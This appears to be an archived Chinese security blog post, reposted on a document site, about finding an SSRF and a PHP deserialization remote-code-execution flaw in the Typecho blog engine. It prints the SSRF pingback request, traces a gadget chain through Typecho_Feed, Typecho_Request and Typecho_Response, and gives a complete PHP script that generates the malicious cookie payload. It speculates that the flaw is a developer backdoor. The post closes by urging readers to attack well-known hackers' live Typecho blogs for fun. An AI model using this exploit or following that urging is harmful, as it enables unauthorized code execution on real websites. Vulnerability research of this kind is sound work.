Fork
web archive
Deformity PHP Webshell、Webshell Hidden Learning - 郑瀚Andrew.Hann - 博客园
数据安全风险评估方法浅析 - 安全内参 | 决策者的网络安全知识库
和小顾有两次让我印象... - @就叫钥匙吧的微博 - 微博
宝塔前台 RCE 复现 + 分析(1click)
Typecho 事件始末
有用和无用
一文搞懂如何从头开发一个Hello World级eBPF程序
简单聊下最近2个有意思的漏洞
代码理解之代码可读性:代码反混淆 - 知乎
渗透测试 - 黑客技术 | 多种方式执行XSS_吾爱漏洞
反沙箱CobaltStrike木马加载器分析 - FreeBuf网络安全行业门户
Ahnar1p微博
聊下最近的CVE-2022-30190
Shiro反序列化漏洞笔记五(对抗篇)
CVE-2022-23222
Web登录认证类漏洞总结 | 技术精选0137
快速傅里叶变换(FFT)算法新手视频教程
本文档使用 MrDoc 发布
-
+
home page
Typecho 事件始末
> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q) Author: 喜欢夏天啊 仓促成文,睡觉。 引子 -- 打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码,我十一在家陪妹子实在是没事干,就抽了个晚上审了一下 typecho,首先发现的一个洞是一个 ssrf,由于我手贱打了一下 xxxx 一位老铁的博客,被他 waf 抓下来了(打码打码打码打码打码打码打码打码打码打码打码打码,可能临时写的针对性 waf),然后今天就被放出来了。。。。这个不重要,先放 payload 出来,没啥好分析的: ``` POST /index.php/action/xmlrpc HTTP/1.1 Host: 127.0.0.1 Upgrade-Insecure-Requests: 1 User-Agent: xxxx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://127.0.0.1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 178 <?xml version="1.0"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://xxxxxx/</string></value></param> </params></methodCall> ``` 然后昨天的时候,tomato 师父说,打码打码打码打码打码打码打码打码打码打码打码打码打码打码。我觉得这个也不是不能搞,并且我十一审代码的时候,发现了代码中有处极其奇怪的地方,但是由于不能在打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码,发现这个问题可能可以利用,就深入看了眼,没想到追查出一个他们核心开发者在其中放置的后门。 install.php ----------- install.php 在安装后不会默认删除,我们查看其中的逻辑分支会看到这样一段代码: ``` <?php if (isset($_GET['finish'])) : ?> <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?> ...... <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?> ...... <?php else : ?> <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?> ``` 这段代码只要你设置了正确的 referer,然后加上一个 finish 参数就可以进入到这个分支中,他会直接反序列化 cookie 中传入的一个值,然后进行一些 db 初始化操作,但是这个初始化操作实际上没有任何一丁点作用,所以这里有这段代码本身就非常奇怪,但是当时分析的时候我没想这么多,既然这里可以直接反序列化我们的输入,我们就看下能否制造一个 rop 链出来,达到一些有危害的操作。 rop --- 我们首先进入 Typecho_Db 的构造函数看一眼他会对 $config 做什么处理: ``` public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; ``` 我们发现第一个参数经过了拼接,所以会自动调用 `__tostring`这个魔术方法,然后我们找一些含有`__tostring`的类,这里我们找到`class Typecho_Feed` 他的`__tostring`方法有些复杂,但是不难从中看出他在 358 行,执行了这样一段代码: ``` <name>' . $item['author']->screenName . '</name> ``` 其中 $item 是我们可以通过对象注入直接控制的。 那么从这行代码出发,我们进而就可以调用`__get`这个魔术方法,继续寻找含有`__get`的 gadget,我们找到了`class Typecho_Request` 他的`__get`方法会调用自身的 get 方法: ``` public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); } ``` get 方法在为 $value 赋值并检查其类型后,会调用自身`_applyFilter`方法,然后继续往深处跟: ``` private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value; } ``` 在`_applyFilter`方法中我们最终发现了一个可以代码执行的地方: `call_user_func($filter, $value);` 此处的两个参数都是我们可以控制的,这里我们的 rop 已经初步构造完成。 解决一些小问题 ------- 在 install.php 的开头部分调用了程序调用了 ob_start(); ,而我们的对象注入操作必定会触发代码中定义的 exception: ``` public static function exceptionHandle(Exception $exception) { @ob_end_clean(); if (defined('__TYPECHO_DEBUG__')) { echo '<h1>' . $exception->getMessage() . '</h1>'; echo nl2br($exception->__toString()); } else { if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) { $handleClass = self::$exceptionHandle; new $handleClass($exception); } else { self::error($exception); } } exit; } ``` 这样他会在处理异常时调用 ob_end_clean,这样我们就算执行了代码,也无法拿到输出。 注意,最后调用`call_user_func`的时候,是一个循环,我们在一次运行中去调用多个函数,甚至实例的某个方法,因为他没有限制传入的 $filter 是不是一个数组。这样我们只要找到一个类方法,其中含有 exit,那么就可以直接让程序退出并输出缓冲区中的内容。这样的类很多,这里我选择了`Typecho_Response`的`redirect`方法,这样经过 4 个 gadget,我们的 exp 基本可以通杀了(其实还可以再加两个绕 gadget 过更多限制,这里留给大家研究)。 ``` <?php class Typecho_Response{} class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName']=-1; $this->_filter[0]='phpinfo'; $x = new Typecho_Response; $this->_filter[1]=array($x,'redirect' ); } } class Typecho_Feed { const RSS1 = 'RSS 1.0'; /** 定义RSS 2.0类型 */ const RSS2 = 'RSS 2.0'; /** 定义ATOM 1.0类型 */ const ATOM1 = 'ATOM 1.0'; /** 定义RSS时间格式 */ const DATE_RFC822 = 'r'; /** 定义ATOM时间格式 */ const DATE_W3CDTF = 'c'; /** 定义行结束符 */ const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct(){ $this->_type=self::RSS2; $item['link']='1'; $item['title']='2'; $item['date']=1507720298; $item['author']= new Typecho_Request(); $this->_items[0]=$item; } } $x=new Typecho_Feed(); $a=array( 'host' => 'localhost', 'user' => 'root', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter'=>$x, 'prefix'=>'typecho_' ); echo serialize($a); echo "\n"; echo urlencode(base64_encode(serialize($a))); ?> ``` backdoor? --------- 写完 exp 后,我回过头去查看最开始的漏洞入口,我发现这段代码其实放在这里没有任何合理性,尽管他的代码风格和下面的很像,但是他在这里起不到任何作用,然后 ph 师父说,typecho 有 github 维护,然后我们就去查了他的 commit 记录:  commit 23b87aeb ,祁宁在 2014-04-08 22:43:32 点提交,这里我俩就开始疑惑,既然 14 年就有这段代码,那为啥 ph 师父的旧版本上没有,新版本上反而有了呢,我们看了下这个 commit 的详情:  我们发现 祁宁 其实就是 joyqi,而 joyqi 是 typecho 的核心开发者,他把这段代码在 2014-04-08 写好后直接提交在了 master 中,查看 v0.9-14.5.25 的 releases,其中已经包含了这段代码,也就是说,这段代码形似后门的代码由核心开发者提交后,存在了三年半的时间,都没有任何人发现。。。。 那么究竟是谁添加的这段鸡儿用没有,但是谁都看不出来的代码呢。。。。。可能是 14 年的时候 joyqi 对账号被人黑掉了吧,也或许,这真的是开发者的一时手滑。细思恐极。 乐呵一下 ---- 圈内有几位知名的黑客大佬的博客是用 typecho 的,打了一下,还是可以搞的,大家也可以打一打乐呵一下。 大哥抽烟. jpg  
webfork
Aug. 3, 2022, 9:16 p.m.
转发文档
Collection documents
Last
Next
手机扫码
Copy link
手机扫一扫转发分享
Copy link
关于 MrDoc
觅思文档MrDoc
是
州的先生
开发并开源的在线文档系统,其适合作为个人和小型团队的云笔记、文档和知识库管理工具。
如果觅思文档给你或你的团队带来了帮助,欢迎对作者进行一些打赏捐助,这将有力支持作者持续投入精力更新和维护觅思文档,感谢你的捐助!
>>>捐助鸣谢列表
微信
支付宝
QQ
PayPal
Markdown文件
share
link
type
password
Update password